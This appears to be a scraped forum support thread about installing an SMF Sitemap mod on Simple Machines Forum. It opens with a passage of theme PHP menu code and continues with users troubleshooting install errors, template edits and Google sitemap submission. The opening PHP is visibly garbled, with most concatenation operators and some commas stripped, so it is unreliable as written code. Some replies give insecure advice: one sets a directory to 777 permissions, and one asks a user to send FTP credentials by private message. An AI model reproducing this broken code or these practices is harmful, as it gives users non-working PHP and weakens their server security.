<td align="center" valign="top"><img src="' 
$settings['images_url'] . '/menu_devider.gif" width="31" height="28" alt="" /></td>
<td class="mainNav"><a href="'
$scripturl'?action=forum">Forum</a></td>';


 
// show the [Game Hubs] button.
echo '
<td align="center" valign="top"><img src="' 
$settings['images_url'] . '/menu_devider.gif" width="31" height="28" alt="" /></td>
<td class="mainNav"><a href="http://www.forum.wiicharged.com/chat/flashchat.php">Game Hubs</a></td>'
;


// Show the [help] button.
echo '
<td align="center" valign="top"><img src="' 
$settings['images_url'] . '/menu_devider.gif" width="31" height="28" alt="" /></td>
<td class="mainNav"><a href="'
$scripturl'?action=help">' $txt[119] , '</a></td>';

// Show the [arcade] button.
echo '
<td align="center" valign="top"><img src="' 
$settings['images_url'] . '/menu_devider.gif" width="31" height="28" alt="" /></td>
<td class="mainNav"><a href="'
$scripturl'?action=arcade">' $txt['arcade'] , '</a></td>';

// How about the [search] button?
if ($context['allow_search'])
echo '
<td align="center" valign="top"><img src="' 
$settings['images_url'] . '/menu_devider.gif" width="31" height="28" alt="" /></td>
<td class="mainNav"><a href="'
$scripturl'?action=search" onClick="return overlay(this, \'subcontent\',\'bottom\')">' $txt[182] , '<img src="'$settings['images_url'], '/search_down.gif" width="10" height="10" /></a>
<!--Do not remove outer most DIV tag with id="subcontent"-->
<DIV id="subcontent" style="position:absolute; border: 2px solid #3d3d3d; background-color: white; width: 210px; padding: 2px; display:none">
<table width="100%" border="0" cellpadding="0" cellspacing="1">
<tr>
<td class="catbg" align="left" valign="middle" style="color:#ffffff;height:20px;line-height:16px;">Quick Search</td>
</tr>
<tr>
<td height="26" align="left" valign="middle" class="windowbg">
<form action="'
$scripturl'?action=search2" method="post" accept-charset="'$context['character_set'], '" style="margin: 0;">
<input type="text" name="search" value="" style="width: 150px;" />&nbsp;
<input type="submit" name="submit" value="GO" />
<input type="hidden" name="advanced" value="0" />'
;

// Search within current topic?
if (!empty($context['current_topic']['allow_search']))
echo '
<input type="hidden" name="topic" value="'
$context['current_topic'], '" />';

// If we're on a certain board, limit it to this board ;).
elseif (!empty($context['current_board']['allow_search']))
echo '
<input type="hidden" name="brd['
$context['current_board'], ']" value="'$context['current_board'], '" />';

if ($context['allow_search'])
echo '
</form></td>
</tr>
<tr>
<td height="20" align="center" valign="middle" class="windowbg"><a class="subNav-link" href="'
$scripturl'?action=search;advanced">Advanced Search</a></td>
</tr>
</table>
<div align="right" style="font-size:10px;"><a style="color:#000000;" href="#" onClick="overlayclose(\'subcontent\'); return false">[Close]</a></div>

</DIV>
</td>'
;

// Is the user allowed to administrate at all? ([admin])
if ($context['allow_admin'])
echo '
<td align="center" valign="top"><img src="' 
$settings['images_url'] . '/menu_devider.gif" width="31" height="28" alt="" /></td>
<td class="mainNav"><a href="'
$scripturl'?action=admin">' $txt[2] , '</a></td>';

// The [calendar]!
if ($context['allow_calendar'])
echo '
<td align="center" valign="top"><img src="' 
$settings['images_url'] . '/menu_devider.gif" width="31" height="28" alt="" /></td>
<td class="mainNav"><a href="'
$scripturl'?action=calendar">' $txt['calendar24'] , '</a></td>';

// the [member] list button
if ($context['allow_memberlist'])
echo '
<td align="center" valign="top"><img src="' 
$settings['images_url'] . '/menu_devider.gif" width="31" height="28" alt="" /></td>
<td class="mainNav"><a href="'
$scripturl'?action=mlist">' $txt[331] , '</a></td>';


// If the user is a guest, show [login] button.
if ($context['user']['is_guest'])
echo '
<td align="center" valign="top"><img src="' 
$settings['images_url'] . '/menu_devider.gif" width="31" height="28" alt="" /></td>
<td class="mainNav"><a href="'
$scripturl'?action=login">' $txt[34] , '</a></td>';


// If the user is a guest, also show [register] button.
if ($context['user']['is_guest'])
echo '
<td align="center" valign="top"><img src="' 
$settings['images_url'] . '/menu_devider.gif" width="31" height="28" alt="" /></td>
<td class="mainNav"><a href="'
$scripturl'?action=register">' $txt[97] , '</a></td>';


// Otherwise, they might want to [logout]...
if ($context['user']['is_logged'])
echo '
<td align="center" valign="top"><img src="' 
$settings['images_url'] . '/menu_devider.gif" width="31" height="28" alt="" /></td>
<td class="mainNav"><a href="'
$scripturl'?action=logout;sesc='$context['session_id'], '">' $txt[108] , '</a></td>';

// How about the [quick links] button?
if ($context['user']['is_logged'])
echo '
<td align="center" valign="top"><img src="' 
$settings['images_url'] . '/menu_devider.gif" width="31" height="28" alt="" /></td>
<td class="mainNav"><a href="'
$scripturl'#quicklinks" onClick="return overlay(this, \'quicklinks\',\'bottom\')">Quick Links<img src="'$settings['images_url'], '/search_down.gif" width="10" height="10" /></a>
<!--Do not remove outer most DIV tag with id="quicklinks"-->
<DIV id="quicklinks" style="position:absolute; border: 2px solid #3d3d3d; background-color: white; width: 150px; padding: 2px; display:none">
<table width="100%" border="0" cellpadding="0" cellspacing="1">
<tr>
<td class="catbg" align="left" valign="middle" style="color:#ffffff;height:20px;line-height:16px;">Quick Links</td>
</tr>
<tr>
<td height="20" align="left" valign="middle" class="windowbg"><a class="subNav-link" href="'
$scripturl'?action=unread">New Posts</a></td>
</tr>
<tr>
<td height="20" align="left" valign="middle" class="windowbg"><a class="subNav-link" href="'
$scripturl'?action=unreadreplies">New Replies</a></td>
</tr>
<tr>
<td class="catbg" align="left" valign="middle" style="color:#ffffff;height:20px;line-height:16px;">User Settings</td>
</tr>
<tr>
<td height="20" align="left" valign="middle" class="windowbg"><a class="subNav-link" href="'
$scripturl'?action=profile">View Profile</a></td>
</tr>
<tr>
<td height="20" align="left" valign="middle" class="windowbg"><a class="subNav-link" href="'
$scripturl'?action=profile;u='$context['user']['id'], ';sa=account">Account Settings</a></td>
</tr>
<tr>
<td height="20" align="left" valign="middle" class="windowbg"><a class="subNav-link" href="'
$scripturl'?action=profile;u='$context['user']['id'], ';sa=forumProfile">Edit Profile</a></td>
</tr>
</table>
<div align="right" style="font-size:10px;"><a style="color:#000000;" href="#" onClick="overlayclose(\'quicklinks\'); return false">[Close]</a></div>

</DIV>
</td>'
;

// The end of tab section.
echo '
<td align="center" valign="top"><img src="' 
$settings['images_url'] . '/menu_devider.gif" width="31" height="28" alt="" /></td>
</tr>
</table>'
;

}
// Generate a strip of buttons.
function template_button_strip($button_strip$direction 'top'$force_reset false$custom_td '')
{
global $settings$buttons$context$txt$scripturl;

// Create the buttons...
foreach ($button_strip as $key => $value)
{
if (isset($value['test']) && empty($context[$value['test']]))
{
unset($button_strip[$key]);
continue;
}
elseif (!isset($buttons[$key]) || $force_reset)
$buttons[$key] = '<a href="' $value['url'] . '" ' .( isset($value['custom']) ? $value['custom'] : '') . '>' $txt[$value['text']] . '</a>';

$button_strip[$key] = $buttons[$key];
}

if (empty($button_strip))
return '<td>&nbsp;</td>';

echo '
<td class="'
$direction == 'top' 'main' 'mirror''tab_' $context['right_to_left'] ? 'last' 'first' '">&nbsp;</td>
<td class="'
$direction == 'top' 'main' 'mirror''tab_back">'implode(' &nbsp;|&nbsp; '$button_strip) , '</td>
<td class="'
$direction == 'top' 'main' 'mirror''tab_' $context['right_to_left'] ? 'first' 'last' '">&nbsp;</td>';
}

?>


You're still going to get the error when trying to install, just install the mod anyway and you'll be set.

tiger5226 - Go to Server Settings in your admin panel and adjust the Forum Url to have a www. in it.
Title: Re: SMF Sitemap
Post by: A2xA on December 29, 2007, 11:31:22 AM
Thanks for the help it works now,  ;)
Title: Re: SMF Sitemap
Post by: tiger5226 on December 29, 2007, 05:55:12 PM
Thanks!!!
Title: Re: SMF Sitemap
Post by: jdougher on January 02, 2008, 08:53:10 PM
So how do you get this mod to automatically re-upload to google and yahoo on a regular basis?
Title: Re: SMF Sitemap
Post by: SlammedDime on January 03, 2008, 02:28:31 AM
You don't.  Google and Yahoo automatically re-check it themselves, and since it is produced dynamically, if there have been any changes, those will be reflected.
Title: Re: SMF Sitemap
Post by: Deaks on January 20, 2008, 08:44:08 AM
SS, this says its corrupted on install.
Title: Re: SMF Sitemap
Post by: SlammedDime on January 20, 2008, 12:21:54 PM
Updated.  It must have been corrupted in the server crash.  I added a few languages (French and Turkish) while I was re-uploading it for those that would like those languages too... :)
Title: Re: SMF Sitemap
Post by: Qayyom Ashraf on January 21, 2008, 02:32:01 AM
I am using SMF 1.1.4 + TinyPortal v0.9.8

during installation of SMF Sitemap i am facing the attached error

can some one tell me how can I solve and use the package

URL : www.JangForum.com (http://www.jangforum.com)

waiting for early and positive reply
Title: Re: SMF Sitemap
Post by: SlammedDime on January 21, 2008, 12:09:39 PM
Do you have a Modifications.french.php file in your language directory?  If not, it should say Skipping like the others.  As for index.template.php, you'll have to edit the file manually.  TP edits the same spot I guess, so there is a conflict.  You can upload the mod to the package parser I've linked below and manually edit the file based on what it says.

http://modparser.dev.dansoftaustralia.net/
Title: Re: SMF Sitemap
Post by: Qayyom Ashraf on January 21, 2008, 11:18:54 PM
1- No I did not upload other languages, but only English.

2- this tool (for installation checking) supports up to 1.1.3, I am using 1.1.4

3- could you please tell me the manual modifications in index.template.php with details.

=> I am not a programmer and don't know any other language even PHP, actually I am a Network/Hardware related.

     I just learned to use ready-made scripts to use.

Best regards
Title: Re: SMF Sitemap
Post by: SlammedDime on January 22, 2008, 02:29:37 AM
1.1.3 and 1.1.4 don't have any template changes, so you can still use the Package Parser above to see the template modifications.  What you would need to do is install the mod anyway, with the errors, then edit index.template.php manually.  The package parser provides the needed details on what section of code to find and how to modify it..
Title: Re: SMF Sitemap
Post by: calamine on January 24, 2008, 07:04:13 AM
hi

i am getting this error while installing sitemap mod for smf 1.1 +tp 0.9.8

QuoteExecute Modification   ./Themes/default/index.template.php   Test failed

can i go ahead with the install?? how to make it work??

how to make it work with other themes??

i am new to smf..is there any docs or a wiki page for this?? it would be helpful
Title: Re: SMF Sitemap
Post by: calamine on January 24, 2008, 08:09:51 AM
i managed to make changes to the default themes' indextemplate.php to display the sitemap link.

for google , i have to add a xml file

http://www.mywebsite.com/index.php?action=sitemap;xml

but i cant find the sitemap.xml file and moreover google accepts site map in this http://www.mysite.com/sitemaps/sitemap.xml

so how to proceed??

many users asked the same question ..but nobody has answered that main question?? how to add this sitemap.xml  to google
Title: Re: SMF Sitemap
Post by: calamine on January 24, 2008, 08:23:14 AM
Quote from: SlammedDime on September 28, 2007, 10:59:09 PM
Thats not an error, just how firefox shows the XML.  That is the url you would send to google.

yeah.. i would like to know how to add that xml file to google site map..

https://www.google.com/webmasters/tools/showaddsitemap

google wants us to add an xml file or atleast a path.??

the format prescribed there-
http://www.sitename.tld/sitemaps/sitemap.xml

i dont find a sitemap.xml file

pls for christs sake tell this
Title: Re: SMF Sitemap
Post by: M70 on January 24, 2008, 09:33:57 AM
I have SMF bridged with Mambo and I've added this URL to Google Webmaster tools without issues:

mysite.com/index.php?option=com_smf&Itemid=XXX&action=sitemap;xml

where XXX is my itemID (from the main menu)

It works for me.

If you just have SMF your link should be something like:

yoursite.com/index.php?action=sitemap;xml

so you just have to add

index.php?action=sitemap;xml

The browser loads a XML file that you can save but using above link it gets updated by itself. With Mambo I've added another URL that is just a php file, not a XML, and Google says that it's fine, no errors until now.

BTW, thank you very much for this mod.
Title: Re: SMF Sitemap
Post by: SlammedDime on January 25, 2008, 02:08:49 PM
Thanks for answering his question M70.

calamine: when you go to your sitemap after installing it, at the very bottom will be a link labeld XML... click it.  ;)
Title: Re: SMF Sitemap
Post by: Qayyom Ashraf on January 26, 2008, 12:46:36 AM
Quote from: SlammedDime on January 22, 2008, 02:29:37 AM
1.1.3 and 1.1.4 don't have any template changes, so you can still use the Package Parser above to see the template modifications.  What you would need to do is install the mod anyway, with the errors, then edit index.template.php manually.  The package parser provides the needed details on what section of code to find and how to modify it..


The Package Parser shows the result is attached

I told you that I am not a programmer and don't know any other language even PHP, actually I am a Network/Hardware related, I just learned to use ready-made scripts to use.

Please tell me how check which line have to edit in index.template.php

IT IS BETTER FOR ME THAT PLEASE WRITE DOWN THE COMMAND AND TELL ME WHERE DO I PASTE (with line number or any reference)

Remember: I am using SMF 1.1.4 + TinyPortal v0.9.8
Title: Re: SMF Sitemap
Post by: calamine on January 26, 2008, 02:14:39 AM
u have to edit the indextemplate.php of the theme u have applied. u will find it the ur theme folder--theme u want to edit.

use F3 or ctrl+f to find theme_copyright()

then apply the code as told

here is the code:
Quote from: SlammedDime on December 27, 2007, 03:54:46 PM
It happens because of TinyPortal.

Replace                                         ', theme_copyright(), ' <br />', tportal_version() , '
                                </td>
<td width="28%" valign="middle" align="', !$context['right_to_left'] ? 'left' : 'right', '">

with
                                        ', theme_copyright(), ' <br />', tportal_version() , '
<span class="smalltext" style="display: inline; visibility: visible; font-family: Verdana, Arial, sans-serif;"> | <a href="'.$scripturl.'?action=sitemap">Sitemap</a></span>
                                </td>
<td width="28%" valign="middle" align="', !$context['right_to_left'] ? 'left' : 'right', '">
   

thanks for everybody..i was able to submit the sitemap xml file ..without any errors.. :D
Title: Re: SMF Sitemap
Post by: Qayyom Ashraf on January 26, 2008, 08:08:38 AM
Thanks a lot...

great job for me

........thanks again!

Best of Luck
Title: Re: SMF Sitemap
Post by: calamine on January 26, 2008, 08:21:57 AM
jus giving back to community..   O:)

smf support is awesome..   :)

Title: Re: SMF Sitemap
Post by: Qayyom Ashraf on January 26, 2008, 08:26:23 AM
OK

thanks a lot the problem solved

there is a little problem about "XML" link, that is not showing

I checked it manually http://www.jangforum.com/index.php?action=sitemap;xml (http://www.jangforum.com/index.php?action=sitemap;xml), it works

please tell me about appearing of "XML" link bottom of sitemap page
Title: Re: SMF Sitemap
Post by: calamine on January 26, 2008, 08:46:49 AM
Admin--Configuration--Features and Options

u have 3 new options-

1.Show Sitemap XML link   
2.Max number of topics to display in sitemap   
3.Collapse child boards in sitemap

enable the first one. xml link should be visible now
Title: Re: SMF Sitemap
Post by: Qayyom Ashraf on January 26, 2008, 09:29:12 AM
THANK YOU ALL

ALL FUNCTIONS ARE WORKING PERFECTLY

........THANKS AGAIN!
Title: Re: SMF Sitemap
Post by: netridge on February 04, 2008, 07:55:21 PM
If you are using a custome theme, do you need to modify the theme for this mod to work?
Has anyone using this mod seen an increase in SEO?
Title: Re: SMF Sitemap
Post by: SlammedDime on February 06, 2008, 03:22:00 AM
If you are using a custom theme, you will need to add a link to the sitemap somewhere in your template, and you'll need to add the style information to your style.css of your theme.

This mod isn't really meant for SEO... more or less, as I've tried to stress over and over, just to let google or others know what pages exist on your site to index.  Whether they index them and where you land in the rankings depends on the content on your pages.
Title: Re: SMF Sitemap
Post by: spiros on February 11, 2008, 06:54:28 PM
Tried installing it and I got this:


Fatal error: require() [function.require]: Failed opening required '/home/translat/public_html/forum/Packages/temp/./add_settings.php' (include_path='.:/usr/lib/php:/usr/local/lib/php') in /home/translat/public_html/forum/Sources/Packages.php on line 552
Title: Re: SMF Sitemap
Post by: SlammedDime on February 12, 2008, 10:11:56 AM
Have you been able to install any other mods?  Sounds like a permissions issue on your server where SMF can't write to the packages directory.  Make sure its CHMOD'd to 777.
Title: Re: SMF Sitemap
Post by: spiros on February 12, 2008, 10:59:24 AM
Yes, i did install other mods.
Packages dir is 777.
Title: Re: SMF Sitemap
Post by: SlammedDime on February 12, 2008, 11:49:54 AM
If the mod installs okay, aside from that, just open up the zip file, extract add_settings.php, upload it to your root SMF directory, and run the file from your browser, then delete it.
Title: Re: SMF Sitemap
Post by: dheeraj on February 16, 2008, 11:17:06 AM
Hi,

I was getting errors when i try to load the xml sitemap
here is the error :

XML Parsing Error: no element found
Location: http://www.mydomain.com/index.php?action=sitemap;xml
Line Number 1, Column 1:

Help me please......
Title: Re: SMF Sitemap
Post by: SlammedDime on February 16, 2008, 03:12:24 PM
Did the Sitemap.template.php file make it into your default theme directory?
Title: Re: SMF Sitemap
Post by: dheeraj on February 16, 2008, 10:21:16 PM
Yes! it was there in the Default Directory...
Title: Re: SMF Sitemap
Post by: SlammedDime on February 17, 2008, 10:44:18 AM
Can you give me a link to your board?  You can send via PM if you like.
Title: Re: SMF Sitemap
Post by: dheeraj on February 17, 2008, 10:58:45 AM
Hey SlammedDime,

I've sent a PM to you...
Title: Re: SMF Sitemap
Post by: SlammedDime on February 17, 2008, 11:07:23 AM
In case others are wondering, this is not an issue with this mod, but rather extra code that dheeraj has added on his site that broke XML/AJAX functions.
Title: Re: SMF Sitemap
Post by: dheeraj on February 17, 2008, 12:12:15 PM
Hey Dude,
I have changed the Index.template.php but again returned the same error!!
Title: Re: SMF Sitemap
Post by: SlammedDime on February 17, 2008, 12:21:32 PM
What other mods do you have installed?
Title: Re: SMF Sitemap
Post by: dheeraj on February 17, 2008, 12:30:18 PM
Mod Name     Version     
1.    Streaming 3    4.2.2b    [ Uninstall ] [ List Files ] [ Delete ]
2.    Reg Bar    1.0    [ List Files ] [ Delete ]
3.    Trim Url    1.0.2    [ Uninstall ] [ List Files ] [ Delete ]
4.    MCLegendII    1.1    [ Apply Mod ] [ List Files ] [ Delete ]
5.    Zodiac_13Moon    2.0    [ Uninstall ] [ List Files ] [ Delete ]
6.    VisualWarning    1.34    [ List Files ] [ Delete ]
7.    RSS Feed Icon    1.1    [ Uninstall ] [ List Files ] [ Delete ]
8.    Frequency Bar    1.0    [ List Files ] [ Delete ]
9.    Seo 4 SMF    0.2.9.9    [ Uninstall ] [ List Files ] [ Delete ]
10.    User Email System    1.1.3    [ List Files ] [ Delete ]
11.    BBCode Bar For Signature    1.3    [ Uninstall ] [ List Files ] [ Delete ]
12.    Member Color Link    2.0.0    [ List Files ] [ Delete ]
13.    Custom Profile Field Mod    3.16    [ Uninstall ] [ List Files ] [ Delete ]
14.    Profile User Action    1.1    [ Uninstall ] [ List Files ] [ Delete ]
15.    Users Online Today Mod    1.4.0    [ Uninstall ] [ List Files ] [ Delete ]
16.    View Only Boards    1.1    [ Apply Mod ] [ List Files ] [ Delete ]
17.    Simple ImageShack    2.0.3    [ List Files ] [ Delete ]
18.    Hide Post    1.0.8    [ List Files ] [ Delete ]
19.    SMF Ajax Registration Feedback    1.0.0    [ Uninstall ] [ List Files ] [ Delete ]
20.    PaypalDonations    1.7    [ List Files ] [ Delete ]
21.    Board Viewers Mod    1.1    [ Apply Mod ] [ List Files ] [ Delete ]
22.    Alternate Latest Post Display    1.00    [ List Files ] [ Delete ]
23.    Spam Me Not Mod    1.02    [ Uninstall ] [ List Files ] [ Delete ]
24.    RSS Feed Poster    1.0.4    [ Uninstall ] [ List Files ] [ Delete ]
25.    SMF Arcade    2.0.7    [ List Files ] [ Delete ]
26.    Welcome Topic Mod    1.0    [ Uninstall ] [ List Files ] [ Delete ]
27.    Reason For Editing Mod    1.14    [ Uninstall ] [ List Files ] [ Delete ]
28.    Member list by registration    1.0    [ Uninstall ] [ List Files ] [ Delete ]
29.    Signature Settings Mod    1.0    [ Uninstall ] [ List Files ] [ Delete ]
30.    SMF 1.0.12 / 1.1.4 / 2.0 b1.1 Update    1.0    [ Uninstall ] [ List Files ] [ Delete ]
31.    New Topic Button    1.0    [ List Files ] [ Delete ]
32.    SMF Sitemap    1.2.1    [ Apply Mod ] [ List Files ] [ Delete ]
33.    SMFShop    3.0    [ Uninstall ] [ List Files ] [ Delete ]
34.    Popup PM Message - Uses The Same Window    1.1    [ Uninstall ] [ List Files ] [ Delete ]
35.    Bear Tabs    1.0    [ List Files ] [ Delete ]
36.    Auto Embed Video Clips    1.3    [ Uninstall ] [ List Files ] [ Delete ]
37.    Display Age and Location next to posts    1.0    [ Uninstall ] [ List Files ] [ Delete ]
38.    Admins Can Post As Alternative User    1.0    [ Uninstall ] [ List Files ] [ Delete ]
39.    Advance SEF Urls    1.0    [ Apply Mod ] [ List Files ] [ Delete ]
40.    Related Topics    1.2.0    [ Apply Mod ] [ List Files ] [ Delete ]
41.    Ad Managment    2.3    [ Uninstall ] [ List Files ] [ Delete ]
42.    Profile Comments    1.3.6    [ Apply Mod ] [ List Files ] [ Delete ]
43.    Contact Page    1.0    [ List Files ] [ Delete ]
44.    Gender On Registration    1.0    [ Uninstall ] [ List Files ] [ Delete ]
45.    FontandSizeDropdown1.1    1.1    [ Uninstall ] [ List Files ] [ Delete ]
46.    Global Headers Footers    1.3    [ Uninstall ] [ List Files ] [ Delete ]
Title: Re: SMF Sitemap
Post by: SlammedDime on February 19, 2008, 02:44:13 AM
Holy smokes.... but according to that, you haven't installed my mod yet...
Title: Re: SMF Sitemap
Post by: dheeraj on February 19, 2008, 07:53:44 AM
I have installed it manually...And it worked good earlier and i can even generate the XML file also but unfortunately now the sitemap is not working...

Recently i did some  changes!

1) Transferred to New Server
2) Installed MCLegendII.1 (http://custom.simplemachines.org/mods/index.php?mod=1077)
3) Installed Visual Warning Mod (http://custom.simplemachines.org/mods/index.php?mod=878)
4) Related Topics (http://custom.simplemachines.org/mods/index.php?mod=189)

But i have uninstalled all of them...

Could you please help me....and do please give me a call when you come to online

Here is my Mobile Number and jus Give me Missed Call so that i can get your help fastly...
Mobile: +919966966980

Hope you will help me..
Title: Re: SMF Sitemap
Post by: SlammedDime on February 19, 2008, 11:23:56 AM
You said you installed it manually... did you put the add_settings.php file in your root directory and run it?  Are there any errors in your error log?
Title: Re: SMF Sitemap
Post by: deadpoeticstar on February 19, 2008, 12:13:37 PM
apparently the index.template.php file test failed.  Can you PM the additions to that code so i can get it working?  cause im not seeing an xml link on my page
Title: Re: SMF Sitemap
Post by: SlammedDime on February 19, 2008, 02:45:01 PM
The index.template.php changes only add a sitemap link to the footer of your forum.  If the XML link is not showing, you need to change the options in the Settings of your forum.  If you have TP installed, the code changes needed for the index.template.php file can be found one page back from here.  If not, open up the zip file and look at install.xml and it has the changes in it.
Title: Re: SMF Sitemap
Post by: dheeraj on February 19, 2008, 03:26:40 PM
Thanks for the reply...

There are no errors in the log. After installing it manually it worked just fine until i installed some mods that i stated in the earlier reply... And now this error. I dont know where the problem is...

Please make it fast...

Thanks
Title: Re: SMF Sitemap
Post by: SlammedDime on February 20, 2008, 02:16:13 AM
The best thing to do would to send me some FTP login information for your site (I am a support specialists here at SimpleMachines, so I can be trusted, I'm just on a short leave due to school) and I can take a look first hand and see where the problem lies.
Title: Re: SMF Sitemap
Post by: dheeraj on February 20, 2008, 12:58:49 PM
Hey Dude,

Check your pm
Title: Re: SMF Sitemap
Post by: SlammedDime on February 20, 2008, 01:57:38 PM
Ok, I got the regular sitemap working... I'm not sure what board is #132 on your site, but something is wrong with it.  You should do a 'Find and Repair errors' in your admin panel.

The problem with the XML part is deeper, however.  The problem here I believe stems from a conflict with SEO4SMF... If I recall correctly however, that mod does have a sitemap addition to it, so why not use it?  Unfortunately, I don't have the time now to install seo4smf and find the problem.
Title: Re: SMF Sitemap
Post by: dheeraj on February 21, 2008, 12:38:57 AM
Seo4smf is already installed...and i donno how to parse that html sitemaps to xml sitemaps
i want to use xml sitemap ..could you please tell me how to parse that "html" sitemaps given by the seo4smf to "xml"
Title: Re: SMF Sitemap
Post by: SlammedDime on February 21, 2008, 12:48:22 AM
I have no clue how SEO4SMF works.  You'll have to visit the author's website and take a look at his information on how it works.
Title: Re: SMF Sitemap
Post by: dheeraj on February 21, 2008, 01:16:57 AM
Thanks for the above..But however i can generate some xml links in Internet explorer..
the problem is with some of the tags..could you please tell me ..


The XML page cannot be displayed

Cannot view XML input using XSL style sheet. Please correct the error and then click the Refresh button, or try again later.


--------------------------------------------------------------------------------

The following tags were not closed: urlset. Error processing resource 'http://www.mysite.com/index.php?action=site...


ass="m">>
  <changefreq>daily</changefreq>
  <priority>0.8</priority>
  </url>
- <url>
  <loc>http://www.mysite.com/index.php/board,36.0.html</loc>
Title: Re: SMF Sitemap
Post by: mashaheer on February 21, 2008, 06:26:02 AM
please see this page >:(
http://forum.bestscripts.ir/index.php?action=sitemap;xml
Title: Re: SMF Sitemap
Post by: dheeraj on February 21, 2008, 06:51:38 AM
for what..it is a xml too
Title: Re: SMF Sitemap
Post by: dheeraj on February 21, 2008, 08:22:14 AM
Hey slammedDimme,

I donno what you have modified ? But the Xml file is working upto some urls
And showing up the following errors..
Could you please look at this one

The XML page cannot be displayed

Cannot view XML input using XSL style sheet. Please correct the error and then click the Refresh button, or try again later.


--------------------------------------------------------------------------------

The following tags were not closed: urlset. Error processing resource 'http://www.mysite.com/index.php?action=site...


ass="m">>
  <changefreq>daily</changefreq>
  <priority>0.8</priority>
  </url>
- <url>
  <loc>http://www.mysite.com/index.php/board,37.0.html</loc>

Please i was struggling for this XML sitemaps for 3 days...hope you will make a way for me
Title: Re: SMF Sitemap
Post by: Sanhux on February 22, 2008, 01:25:33 AM
Hello

I've installed and is working. However I can't make the .htaccess trick works, because in my root i'm using wordpress, and the rule provided didnt overwrite the rule by WP, which is

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>

So I get the page not found when try to use

RewriteEngine on
   RewriteRule ^sitemap.xml$ /forum/index.php?action=sitemap;xml

in my .htaccess
Do you have an solution for this?

Thank you!
Title: Re: SMF Sitemap
Post by: SlammedDime on February 22, 2008, 04:15:47 AM
But my 'trick' before the wordpress stuff, like at the top of .htaccess

dheeraj: I'm sorry but I'm stuck as to why its not working.  I'm almost convinced it has to do with SEO4SMF but I don't know how or why.  Did you perform the 'find and fix errors' as i suggested?
Title: Re: SMF Sitemap
Post by: mashaheer on February 24, 2008, 12:31:30 PM
Quote from: mashaheer on February 21, 2008, 06:26:02 AM
please see this page >:(
http://forum.bestscripts.ir/index.php?action=sitemap;xml

Title: Re: SMF Sitemap
Post by: SlammedDime on February 24, 2008, 10:16:10 PM
Ok, everything seems fine.  I'm not a mind reader, does something not appear correct?
Title: Re: SMF Sitemap
Post by: Eliana Tamerin on February 27, 2008, 01:08:47 AM
Wow. Just installed sitemap and it works beautifully. Thank you SlammedDime.
Title: Re: SMF Sitemap
Post by: denzil69 on March 04, 2008, 03:12:21 PM
installed the sitemap mod,

mod version 1.2.1
smf 1.1.4
everything installed fine.

however, when i save to google webmasters, it returns an error when it goes to address.
returns "0 files read, please correct the sitemap and resubmit"
any ideas on this please?

also, earlier post, asked wether it was possible to remove the username from each post showing on the sitemap... any developments please?

thanks for the help
Title: Re: SMF Sitemap
Post by: Eliana Tamerin on March 04, 2008, 03:18:30 PM
Make sure to submit the XML version (click on XML at the bottom of your sitemap page). 
Title: Re: SMF Sitemap
Post by: denzil69 on March 04, 2008, 03:26:24 PM
ok some confusion for me, on the google webmaster tools.

confusion arises because if the sitemap is not stored in the websites root folder, you must submit address as a new one.

example:
www.mydomain.com must be put into the dashboard (i asigned the sitemap to this address)
www.mydomain.com/anotherfolder/ must be put into the dashboard as a seperate web address.
Then click to add a sitemap and go with "index.php?action=sitemap;xml"

thansk for the speedy reply, any news on the 2nd question please?

tas muchly
Title: Re: SMF Sitemap
Post by: denzil69 on March 04, 2008, 03:46:11 PM
hmmmm been thinking about how to hide usernames...

is there an option or way to turn "topics" off?
ive got

boards
topics: 1
xml

showing on the page, if i could turn off the topics, the usernames wouldnt be accessable?
Title: Re: SMF Sitemap
Post by: SlammedDime on March 05, 2008, 02:49:28 AM
You could easily hide the username for the time being by opening up Sitemap.php and finding

         'poster' => $row['posterName'],
and replacing it with
         'poster' => '',
Title: Re: SMF Sitemap
Post by: wk38 on March 06, 2008, 11:34:42 AM
No matter what site I install it on it shows an error on the default/index.template file.
Title: Re: SMF Sitemap
Post by: SlammedDime on March 06, 2008, 11:36:36 AM
Do you have TinyPortal installed?  If so, directions for modifying the index.template.php file are a few pages back in this topic.
Title: Re: SMF Sitemap - Error Messages at Google Webmaster
Post by: laloma on March 06, 2008, 02:41:49 PM
SMF 1.1.4
Global Headers Footers 1.3
SMF Poll Mod 1.01
Global Announcements 1.0
SMF 1.0.12 / 1.1.4 / 2.0 b1.1 Update 1.0
Ad Management 2.3
Contact Page 1.1
Spam Me Not Mod 1.02
SMF Sitemap 1.2.1
Custom Profile Field Mod 3.16
Akismet Spam Blocking 1.1.1

After installing SMF Sitemap 1.2.1, sitemap at website shows perfect, however as trying to register at Google Webmaster, we are receiving the following error message: Unsupported file format. Your Sitemap does not appear to be in a supported format. Please ensure it meets our Sitemap guidelines and resubmit.

At Google Webmaster we register:
http://www.foro.opinion.dominicana.web.do, and
http://www.foro.opinion.dominicana.web.do/smf

also in both cases we enter the following as the sitemap file:

1. index.php?action=sitemap, resulting
http://www.foro.opinion.dominicana.web.do/index.php?action=sitemap
http://www.foro.opinion.dominicana.web.do/smf/index.php?action=sitemap

2. index.php?action=sitemap;xml, resulting
http://www.foro.opinion.dominicana.web.do/index.php?action=sitemap;xml
http://www.foro.opinion.dominicana.web.do/smf/index.php?action=sitemap;xml

Please excuse if we made a mistake but we are newbies,

Hope to hear from you soon,

Best regards,
Title: Re: SMF Sitemap
Post by: SlammedDime on March 07, 2008, 02:59:41 AM
Well, right now your forum is in maintenance mode, so submitting the sitemap will be useless as the XML will not output.  Once you take your board out of maintenance mode, try http://www.foro.opinion.dominicana.web.do/smf/index.php?action=sitemap;xml again.
Title: Re: SMF Sitemap
Post by: laloma on March 07, 2008, 07:46:29 AM
Dear Sir:

It worked out. Thanks a lot.

Best regards,
Title: Re: SMF Sitemap
Post by: busterw on March 07, 2008, 03:34:33 PM
Once the sitemap mod is installed, does it then just keep itself updated 'er whut?
Title: Re: SMF Sitemap
Post by: Eliana Tamerin on March 07, 2008, 03:58:24 PM
Yes, it does. Google just downloaded my sitemap a day ago with twice as many URLs than it had originally.
Title: Re: SMF Sitemap
Post by: SlammedDime on March 07, 2008, 08:29:52 PM
Its a dynamic sitemap, in otherwords, it works just like RSS feeds would, its live and up to date.
Title: Re: SMF Sitemap
Post by: Eliana Tamerin on March 07, 2008, 11:19:29 PM
I'm having some trouble, from either the sitemap or SMF's seo-ization (yeah, I know that's not a real word).

